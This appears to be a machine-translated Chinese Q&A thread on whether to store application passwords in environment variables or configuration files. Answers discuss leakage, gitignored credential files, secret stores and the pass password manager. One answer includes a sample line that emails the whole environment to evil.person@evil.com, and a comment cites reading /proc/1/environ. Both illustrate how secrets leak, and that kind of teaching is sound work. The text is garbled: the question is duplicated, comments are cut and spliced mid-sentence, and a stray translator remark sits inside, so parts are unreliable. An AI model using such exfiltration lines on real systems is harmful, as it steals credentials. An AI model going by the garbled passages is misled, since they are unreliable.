我在rails、django(还有一点php)上做了几个应用程序,其中一个我开始做的事情是将数据库和其他密码存储为环境变量,而不是作为某些配置文件(或对于django应用程序,存储在settings.py中)中的明文。
在与我的一位合作者讨论时,他认为这是一种糟糕的做法 - 或许这并不像它一开始看起来那样完全安全。
所以,我想知道 - 这是一种安全的做法吗?将密码存储为这些文件中的纯文本是否更安全(当然,确保不要将这些文件留在公共存储库或其他任何地方)?
我在rails、django(还有一点php)上做了几个应用程序,其中一个我开始做的事情是将数据库和其他密码存储为环境变量,而不是作为某些配置文件(或对于django应用程序,存储在settings.py中)中的明文。
在与我的一位合作者讨论时,他认为这是一种糟糕的做法 - 或许这并不像它一开始看起来那样完全安全。
所以,我想知道 - 这是一种安全的做法吗?将密码存储为这些文件中的纯文本是否更安全(当然,确保不要将这些文件留在公共存储库或其他任何地方)?
如前所述,这两种方法在系统被入侵后都无法提供任何额外的“安全”层面。我认为支持环境变量的一个最强有力的理由是避免版本控制:我见过太多数据库配置等意外地存储在版本控制系统(如GIT)中供其他开发人员查看(哎呀!我也遇到过...)。
不将密码存储在文件中使其无法在版本控制系统中存储。
在更理论的层面上,我通常会按以下方式思考安全级别(按强度递增的顺序):
环境变量比纯文本文件更安全,因为它们是易失性/一次性的,并且不保存; 即,如果您只设置一个本地环境变量,例如 "set pwd = whatever",然后运行脚本, 并带有在脚本结束时退出命令外壳的内容,则该变量不存在。 您的情况属于前两种情况,我认为相当不安全。如果您要这样做,我不建议在您的立即内部网络/家庭网络之外部署,并且仅供测试目的。
任何时候您需要存储密码,它都是不安全的。没有办法安全地存储未加密的密码。现在,哪种方式更“安全”——环境变量还是配置文件——可能值得讨论。在我看来,如果您的系统受到攻击,存储位置并不重要,一位勤奋的黑客总能找到它。
cat /proc/1/environ
。 - Chris Downps axe
中我没有看到任何不属于我的进程的环境。使用strace -e open ps axe
可以看到它是从/proc/[pid]/environ
获取这些信息的,而该文件的权限有所限制(因此会有一堆open("/proc/19795/environ", O_RDONLY) = -1 EACCES (Permission denied)
)。请注意,我只是翻译,没有添加解释或其他内容。 - Chris Downps
是设置为setuid并且可以愉快地显示几乎所有进程的环境变量)。 - Vatine$ pwd=mypassword my_prog
这样的命令并不像你希望的那样短暂。read -s MY_PASS_VAR
,这将防止Shell历史记录搜索和肩部窥视者。 - MatrixManAtYrServiceHISTCONTROL
设置为 ignorespace
或 ignoreboth
,那么在命令前加上空格才有效,因此技术上它可以被打开或关闭。 - Mousa Halaseh我认为在可能的情况下,您应该将凭据存储在一个被gitignore的文件中,而不是作为环境变量存储。
当将凭据存储在环境变量中与存储在文件中进行比较时,需要考虑的一些事情是,任何库或依赖项都可以非常容易地检查环境变量。
这可以是恶意的,也可以是非恶意的。例如,库作者可以通过电子邮件将堆栈跟踪和环境变量发送给自己以进行调试(不是最佳实践,但确实可能做到)。
如果您的凭据在文件中,则查看它们要困难得多。
具体来说,想想节点中的npm。如果npm想要查看您在环境变量中的凭据,那么只需使用process.ENV
即可。另一方面,如果它们在文件中,则要做更多的工作。
您的凭据文件是否受版本控制是一个单独的问题。不对凭据文件进行版本控制会使凭据暴露给更少的人。没有必要让所有开发人员都知道生产凭据。由于这符合最小特权原则,因此我建议git忽略您的凭据文件。
这取决于您的威胁模型。
您是想防止用户在文件系统中随意散布密码,导致密码被遗忘和处理不当吗?如果是这样,那么可以使用环境变量。因为环境变量比文件更少持久化。
您是试图保护程序免受直接针对其的恶意攻击吗?如果是这样,则不能使用环境变量,因为环境变量没有与文件相同的访问控制级别。
个人认为,疏忽大意的用户比有动机的对手更常见,因此我会选择使用环境变量的方法。
除其他问题外,使用环境变量来存储机密信息的一个问题是它们可能会意外泄漏:
Logstash
)存储在配置文件中的机密信息可能存在以下问题:
与存储机密信息的方式无关,如果您的系统被攻破,那么您就惨了。提取这些信息只是时间和精力的问题。
那么我们该怎么做才能将风险降至最低呢?
不要以明文形式存储/传递机密信息。
一种解决问题的方式是使用外部(托管或自托管的)密钥存储解决方案(例如 AWS Parameter Store、Azure Vault、Hashicorp Vault),并在运行时获取敏感数据(可能在内存中缓存)。这样可以确保您的密钥在传输和静态存储时都经过加密。.gitignore
中,但如果有人忘记这样做,则需要一个钩子。)from company_secrets import *
之类的语句。send_email(address="evil.person@evil.com", text=json.dumps(os.environ))
,如果您执行此代码,您就会失败。如果您的系统上有一个名为~/secret_company_stuff/.my_very_secret_company_stuff
的文件,则黑客攻击要困难得多。DEBUG=True
,则这似乎非常不安全。相比之下,Django通过查找框架的settings.py
文件的变量名称中的字符串API
、TOKEN
、KEY
、SECRET
、PASS
或SIGNATURE
来混淆密码设置变量。pass
中,使用Unix密码管理器:https://www.passwordstore.org/
最近我需要一种方法来存储Loki的日志访问凭证,以供多个不同的部署使用。它们由三个变量组成:LOKI_ADDR=https://loki.<environment>.domain
LOKI_USERNAME=<username>
LOKI_PASSWORD=<password>
pass show <secret_name> | source
加载它。这样可以为当前会话加上密钥变量,然后可以使用它们来运行所需的任何内容,在关闭后清除它们。logcli
。#!/bin/bash
# loki <environment> <rest of logcli args>
# loki prod query '{app=+".+"}' --tail --no-labels
ENVNAME=$1
shift 1
env LOKI_USERNAME=<loki_username> LOKI_PASSWORD=$(pass show work/loki/$ENVNAME) LOKI_ADDR=https://loki.$ENVNAME.domain logcli "${@}"
结果就是能够做到:
loki dev query '{app=+".+"}' --tail --no-labels
并且使脚本从 work/loki/dev
密钥中读取loki密码。
仅作为一种顺便提及,我没有对于增加明显的安全性提出任何主张。其他回答正确地指出了不明显的问题。